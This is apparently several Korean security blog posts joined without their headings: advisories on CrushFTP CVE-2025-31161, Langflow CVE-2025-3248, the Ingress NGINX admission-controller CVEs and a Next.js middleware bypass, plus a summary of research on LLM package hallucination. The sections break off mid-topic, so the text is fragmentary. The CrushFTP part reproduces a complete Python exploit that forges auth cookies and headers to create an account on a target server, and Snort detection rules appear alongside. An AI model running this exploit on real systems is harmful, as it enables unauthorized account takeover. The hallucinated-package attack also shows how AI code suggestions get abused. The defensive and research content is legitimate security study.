※ 코드 문맥 상 anyPass는 로그인을 시도하는 계정에 대해 서버가 임의의 비밀번호를 받아들여야 하는지 여부를 결정하는 변수로 판단됨 (비밀번호가 아직 설정되지 않았거나, 비밀번호가 필요하지 않은 사용자인 경우 등)
// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
// Various validations and logging happen here
if (user_name.length() <= 2000) {
int length = user_pass.length();
ServerStatus serverStatus = ServerStatus.thisObj;
if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
uiPUT("last_logged_command", "USER");
// Numerous other checks and validations
// Eventually we call verify_user with the anyPass parameter
boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
if (verified && this.user != null) {
// Authentication success handling
return true;
}
}
}
return false;
}
- verify_user()는 anyPass 매개변수를 사용해 UserTools.ut.verify_user() 호출
// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
// Various user validation and formatting logic
// The anyPass value is passed to the UserTools.ut.verify_user method
this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass,
uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"),
uiIG("user_port"), this.server_item, loginReason, anyPass);
// The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
this.user_info.put("plugin_user_auth_info", "Password incorrect.");
}
// Various other checks and return logic
return this.user != null;
}
- UserTools.ut.verify_user()에서 anyPass=True이고, 특정 username인 경우 인증을 우회하여 로그인 가능
// Inside UserTools.java
public Properties verify_user(
ServerStatus server_status_frame,
String the_user,
String the_password,
String serverGroup,
SessionCrush thisSession,
int user_number,
String user_ip,
int user_port,
Properties server_item,
Properties loginReason,
boolean anyPass
) {
// User lookup and validation logic
Properties user = this.getUser(serverGroup, the_user, true);
// Here's the critical vulnerability:
// If anyPass is true, password verification is skipped entirely
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // Authentication succeeds without any password check
}
// Otherwise normal password verification occurs
if (user.getProperty("username").equalsIgnoreCase(the_user) &&
check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
return user;
}
// Authentication fails
return null;
}
- 공격자는 다음과 같은 요청을 통해 인증 우회 가능
① 경로: &c2f={} // 쿠키 헤더값과 동일하게 구성
② Cookie헤더: CrushAuth키 값을 {13자리랜덤숫자}{30자리_랜덤값}{c2f} 구성
③ Authorization 헤더: AWS4-HMAC-SHA256 Credentail={username}/
[사진 2] 과정 요약[사진 3] 공격 예시
3. PoC [5]
# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive
# https://github.com/Immersive-Labs-Sec/CVE-2025-31161
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import requests
from argparse import ArgumentParser
def exploit(target_host, port, target_user, new_user, password):
print("[+] Preparing Payloads")
# First request details
warm_up_url = f"http://{target_host}:{port}/WebInterface/function/"
create_user_url = f"http://{target_host}:{port}/WebInterface/function/"
headers = {
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
"Connection": "close",
}
payload = {
"command": "setUserItem",
"data_action": "replace",
"serverGroup": "MainUsers",
"username": new_user,
"user": f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',
"xmlItem": "user",
"vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
"permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',
"c2f": "31If"
}
# Execute requests sequentially
print(" [-] Warming up the target")
# we jsut fire a request and let it time out.
try:
warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20)
if warm_up_request.status_code == 200:
print(" [-] Target is up and running")
except requests.exceptions.ConnectionError:
print(" [-] Request timed out, continuing with exploit")
print("[+] Sending Account Create Request")
create_user_request = requests.post(create_user_url, headers=headers, data=payload)
if create_user_request.status_code != 200:
print(" [-] Failed to send request")
print(" [+] Status code:", create_user_request.status_code)
if '<response_status>OK</response_status>' in create_user_request.text:
print(" [!] User created successfully")
if __name__ == "__main__":
parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")
parser.add_argument("--target_host", help="Target host")
parser.add_argument("--port", type=int, help="Target port", default=8080)
parser.add_argument("--target_user", help="Target user", default="crushadmin")
parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount")
parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple")
args = parser.parse_args()
if not args.target_host:
print(" [-] Target host not specified")
parser.print_help()
exit(1)
exploit(
target_host=args.target_host,
port=args.port,
target_user=args.target_user,
new_user=args.new_user,
password=args.password
)
print(f"[+] Exploit Complete you can now login with\n [*] Username: {args.new_user}\n [*] Password: {args.password}.")
4. 대응방안
- 벤더사 제공 업데이트 적용 [6][7]
> lookup_password 기능 비활성화 > Authorization 헤더 내 Credential 키 값 구성 검증 > 인증 로직 변경
- LLM 기반 코드 생성 AI의 발전으로 생산성이 높아지는 등 효율성과 편의성이 크게 향상됨
- 그러나 LLM이 실제로 존재하지 않는 패키지에 대한 참조를 포함하거나 추천하는 코드를 생성하는 패키지 환각(Package Hallucination) 문제가 발생
- 공격자는 환각 또는 가상의 패키지와 동일한 이름으로 악성 패키지를 오픈소스 리포지토리에 게시하는 방식으로 공급망 공격을 수행할 수 있음
> 전체 코드베이스 또는 소프트웨어 종속성 체인을 통해 확산되어 해당 패키지에 의존하는 모든 코드를 감염시킬 수 있음
2. 주요내용
2.1 패키지 혼동 공격
- 최신 소프트웨어 개발은 중앙 집중식 패키지 리포지토리(PyPI, npm 등)에 의존
> 누구나 새로운 코드 패키지/라이브러리를 업로드할 수 있어 멀웨어 배포에 매력적
> 종종 합법적인 패키지를 모방하기 위해 악성 패키지의 이름을 의도적으로 변경
> 패키지/라이브러리는 종종 다른 패키지에 의존하여 작동하기 때문에 광범위한 의존성 트리를 생성
> 단일 패키지를 감염시키는 것만으로도 전체 소프트웨어 또는 에코시스템을 감염시킬 수 있음
- LLM이 계속해서 발전된 소스 코드 생성 기능을 입증 (정확도: 21.06 25% -> 24.04 96% 급증)
> 취약성을 유발할 수 있는 안전하지 않거나 잘못된 코드의 생성 가능성에 대한 우려 또한 증가
> LLM이 오해의 소지가 있거나 완전히 허구의 정보를 생성하는 환각은 데이터, 훈련, 추론의 세 가지 주요 근본 원인으로 발생할 수 있음
① 데이터 관련 환각 : 소스 데이터 자체에 잘못된 정보, 편향, 불완전한 기록 등의 결함이 있을 때 발생
② 훈련 관련 환각 : 아키텍처 결함 또는 훈련 중 최적이 아닌 훈련 목표는 다운스트림 환각을 초래할 수 있음
③ 추론 관련 환각 : 불완전한 코딩 전략 및 불완전한 디코딩 표현에 의한 환각
- 공격자는 이러한 환각 패키지와 동일한 이름의 악성 패키지를 빠르게 생성해 간단하고 효과적인 패키지 혼동 공격을 수행할 수 있음
> LLM이 생성한 코드를 면밀히 검토하지 않거나 실수 등으로 악성 패키지를 코드베이스에 포함
> 다른 패키지 및 코드의 종속성 체인에 포함될 가능성이 있어 다수의 코드베이스에 연쇄적으로 영향을 끼칠 수 있음
[사진 1] 패키지 환각 공격
2.2 가설ㆍ질문 및 실험 설계
- 가설 : 패키지 혼동 공격을 실행하려는 공격자와 LLM이 제공한 코드를 충분한 검증 없이 실행하는 사용자가 있음
- 다섯 가지 연구 질문(RQ)
① RQ1 : LLM을 사용해 Python 및 JavaScript 코드를 생성할 때, 패키지 환각은 얼마나 자주 발생하는가? (패키지 환각 발생률)
② RQ2 : 패키지 환각은 특정 모델 설정(예: 학습 데이터, 디코딩 전략 등)에 따라 어떤 영향을 받는가? (모델 설정의 영향)
③ RQ3 : 패키지 환각과 관련하여 일반적으로 관찰되는 LLM의 동작 특성은 무엇인가? (LLM 동작 특성)
④ RQ4 : 관찰된 패키지 환각에는 어떤 대표적인 특성이나 속성이 있는가? (패키지 환각의 특징)
⑤ RQ5 : 기존 문헌의 모범 사례 및 본 연구 결과를 바탕으로 패키지 환각을 효과적으로 완화할 수 있는가? (완화 전략)
실험 설계
구분
설명
프롬프트 데이터셋 구성
- 목표: 일반적인 사용자들이 일반적으로 요청하는 코딩 작업을 정확하고 포괄적으로 표현하는 데이터 세트를 개발하는 것
① Stack Overflow 데이터 세트 > Python 및 JavaScript의 인기 있는 240개 태그 * 태그 당 20개 질문 * 최신/과거 = 9,600개 프롬프트
② LLM에서 생성된 데이터 세트 > PyPI와 npm의 인기 패키지 설명을 기반으로 Llama-2 70B 모델에 해당 패키지를 사용하는 코드 생성을 요청 (4,800개 프롬프트 생성) > 4,800 * 최신/과거 = 9,600개 프롬프트
※ Python, JavaScript 각 19,200개
코드 생성 모델 선택
- 모델 선택 : 24.01.20 EvalPlus 리더보드를 기준으로 높은 순위의 모델 16개 선택 > 상용 모델 : ChatGPT 3.5 Turbo, ChatGPT 4.0, ChatGPT 4.0 Turbo > 무료 모델 : CodeLlama, DeepSeek, Magicoder 등 13개
- 언어 선택 : Python, JavaScript > 대중성 및 중앙 집중식 오픈 소스 리포지토리에 의존하기 때문
- 총 코드 샘플 수 576,000개
휴리스틱
- LLM 출력 또는 생성된 코드에서 환각의 존재 유무를 판별을 위해 패키지 이름 추출 필요 > 단순히 import, require를 파싱 하는 것만으로는 패키지를 정확히 식별하는 것이 불가능하기 때문 > 코드에서 패키지 이름을 추론하기 위한 세 가지 휴리스틱 적용
① 휴리스틱 1 : 설치 명령어 기반 탐지 - 생성된 Python 및 JavaScript 코드에서 "pip install" 및 "npm install" 명령 파싱 및 패키지 이름 추출 > 해당 명령은 지정된 패키지를 찾고, 의존성을 해결하고 현재 환경에 설치함 > 패키지 이름을 탐지하는 가장 직접적인 방법이며, 환각 탐지에도 유효함(악성코드를 설치하기 때문) > 모델에게 이러한 명령을 직접 요청하지 않고, 자연스럽게 생성된 경우만 포함
② 휴리스틱 2 : 코드 기반 질의 - 생성된 코드를 실행하는데 필요한 패키지를 모델에 질의 > 사용자가 LLM으로 코드를 생성한 후 실행 과정에서 발생한 오류를 다시 묻는 행동을 모방한 것 > 직관적인 프로세스를 재현하여 생성된 코드에 필요한 패키지 이름을 식별
③ 휴리스틱 3 : 프롬프트 기반 질의 - 코드를 생성했던 원래 프롬프트를 다시 모델에 입력해 작업을 수행하는데 필요한 패키지 질의 > 필요한 패키지가 명시적으로 언급되지 않은 경우 사용자가 패키지를 다시 묻는 행동을 모방한 것
※ 휴리스틱 (Heuristic) : 정확한 정답이나 완벽한 규칙이 없을 때, 경험과 직관에 기반해 문제를 실용적으로 해결하는 방법
2.3 결과
구분
설명
RQ1 : 패키지 환각 발생률
- 16개 모델 모두에서 패키지 환각이 만연한 현상인 것으로 나타남 > 총 223만 개의 패키지 중 440,445(19.7%)가 환각으로 판정 > 205,474개의 고유한 환각
- 평가 > GPT-4 Turbo 환각률 최저(3.59%), DeepSeek 1B 환각률 최고(13.63%) > 상용 모델 평균 환각률 5.2%, 무료 모델 평균 환각률 21.7% > Python 환각률 15.8%, JavaScript 환각률 21.3%
RQ2 : 모델 설정의 영향
- 설정된 온도가 높을수록 환각률이 뚜렷하게 증가 - 디코딩 전략은(Top-k, Top-p, Min-p) 뚜렷한 차이 없음 - 최근 주제를 다루는 프롬프트일수록 환각률이 10% 높음
RQ3 : LLM 동작 특성
- 동일 프롬프트를 10번 반복 결과 > 43%는 10번 모두 환각을 재현하였으며, 39%는 10번 모두 환각을 재현하지 않음 > 58%는 최소 한 번 이상 동일 환각 반복 - 반복 가능성을 의미하여 공격자에게 매력적
- 패키지 추천이 많은 모델일수록 높은 환각률 - GPT 4 Turbo, GPT 3.5, DeepSeek는 75% 이상의 정확도로 환각 식별 가능
RQ4 : 패키지 환각의 특징
- 81%의 환각 패키지가 한 모델에서만 생성됨 > 대부분의 환각 패키지는 모델마다 고유하게 생성
- 대부분의 환각이 사소한 오타가 아니라 기존 패키지와 큰 차이를 보임 - 삭제된 패키지는 환각에 영향을 끼치지 않으며, JavaScript가 가장큰 영향
RQ5 : 완화 전략
- RAG(Retrieval-Augmented Generation) > LLM의 출력을 최적화하여 응답을 생성하기 전에 학습 데이터 소스 외부의 신뢰할 수 있는 지식 베이스를 참조하도록 하는 프로세스 >
- Self-Refinement > 패키지 이름을 생성한 후 해당 패키지의 유효성을 다시 쿼리하여 유효성 검증을 최대 5회까지 반복할 수 있음
- Fine-tuning > 이미 훈련된 대규모 언어 모델에 특정 데이터셋을 사용하여 추가적인 학습을 수행하는 작업 > 모든 환각을 제외하고 유효한 응답을 사용해 모델 재훈련
※ 모든 전략을 조합한 경우 - DeepSeek는 2.4%, CodeLlama는 9.3%까지 환각률 감소 - Fine-tuning의 경우 코드 품질 저하 단점 존재 - RAG와 Self-Refinement는 비교적 실용적인 대안
- 대규모 언어 모델(LLM)과 다양한 데이터 소스를 활용하여 AI 애플리케이션을 시각적으로 설계하고 구축할 수 있는 low-code 플랫폼 [1][2]
- Python 기반으로 개발되었으며, 특정 모델, API, 데이터베이스에 구애받지 않고 유연하게 사용 가능
2. CVE-2025-3248
[사진 1] CVE-2025-3248 [3]
- /api/v1/validate/code에서 발생하는 임의 코드 실행 취약점 (CVSS : 9.8)
영향받는 버전 Langflow 1.3.0 미만 버전
- /api/v1/validate/code : LLM이 생성한 코드의 유효성을 검증하는 API
> 해당 API를 누구나 호출 가능
> validate_code()를 내부적으로 호출 [4]
async def post_validate_code(code: Code) -> CodeValidationResponse:
try:
errors = validate_code(code.code)
return CodeValidationResponse(
imports=errors.get("imports", {}),
function=errors.get("function", {}),
)
except Exception as e:
logger.opt(exception=True).debug("Error validating code")
raise HTTPException(status_code=500, detail=str(e)) from e
- validate_code()는 파이썬 코드의 문법을 검증하고 exec()를 통해 해당 코드를 실행 [5][6]
> 파이썬 코드에 import문과 함수 선언문이 있는지 확인
> import문이 있는 경우 해당 모듈을 로드하고, 함수가 있는 경우 exec()를 통해 해당 코드 실행 [7][8]
def validate_code(code):
# Initialize the errors dictionary
errors = {"imports": {"errors": []}, "function": {"errors": []}}
# Parse the code string into an abstract syntax tree (AST)
try:
tree = ast.parse(code)
except Exception as e: # noqa: BLE001
if hasattr(logger, "opt"):
logger.opt(exception=True).debug("Error parsing code")
else:
logger.debug("Error parsing code")
errors["function"]["errors"].append(str(e))
return errors
# Add a dummy type_ignores field to the AST
add_type_ignores()
tree.type_ignores = []
# Evaluate the import statements
for node in tree.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
importlib.import_module(alias.name)
except ModuleNotFoundError as e:
errors["imports"]["errors"].append(str(e))
# Evaluate the function definition
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e: # noqa: BLE001
logger.opt(exception=True).debug("Error executing function code")
errors["function"]["errors"].append(str(e))
# Return the errors dictionary
return errors
2.1 PoC
- 공개된 Scanner에서는 /api/v1/validate/code URL로 import문과 def문이 포함된 파이썬 코드를 POST 메소드로 전송 [9]
alert tcp any any -> any any (msg:"CVE-2025-3248"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/validate/code"; http_uri; content:"def"; http_client_body; content:"import"; http_client_body;)
- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4] -Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4] - Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]
2. 주요내용 [7]
- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음
> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능
- Admission Controller는 사용자의 요청을 변조(Mutate)와 검증(Validation)을 통해 요청의 승인 여부를 결정
> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능
※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경
※ 검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절
- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신
> AdmissionReview 구조로 통신
> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview요청을 전송할 수 있음
[사진 1] Admission Controller
- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성
> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트
> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음
[사진 2] nginx -t
2.1 취약점
2.1.1 CVE-2025-24514 [9]
- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행
> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함
> ngnix -t 명령을 실행할 때 명령에 포함되어 실행
2.1.2 CVE-2025-24513 [10]
- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능
> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능
2.1.3 CVE-2025-1097 [11]
- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증
> auth-tls-match-cn 주석은 CN=으로 시작
> 이를 통해 임의의 코드 실행이 가능
2.1.4 CVE-2025-1098 [12]
- mirror-target과 mirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음
> 이를 통해 임의의 코드 실행이 가능
2.1.5 CVE-2025-1974 [13]
- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]
제품명
영향받는 버전
해결 버전
Ingress NGINX Controller
1.11.0 미만
1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0
1.12.1
- 추가 모니터링 및 필터 적용
> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한
> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정
> Admission Controller 컴포넌트가 불필요할 경우 비활성화
> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치 > 수동으로 ingress-nginx를 설치한 경우
① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제
② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제
// Middleware to remove the x-middleware-subrequest header
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});
- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정
- 탐지룰 설정
alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )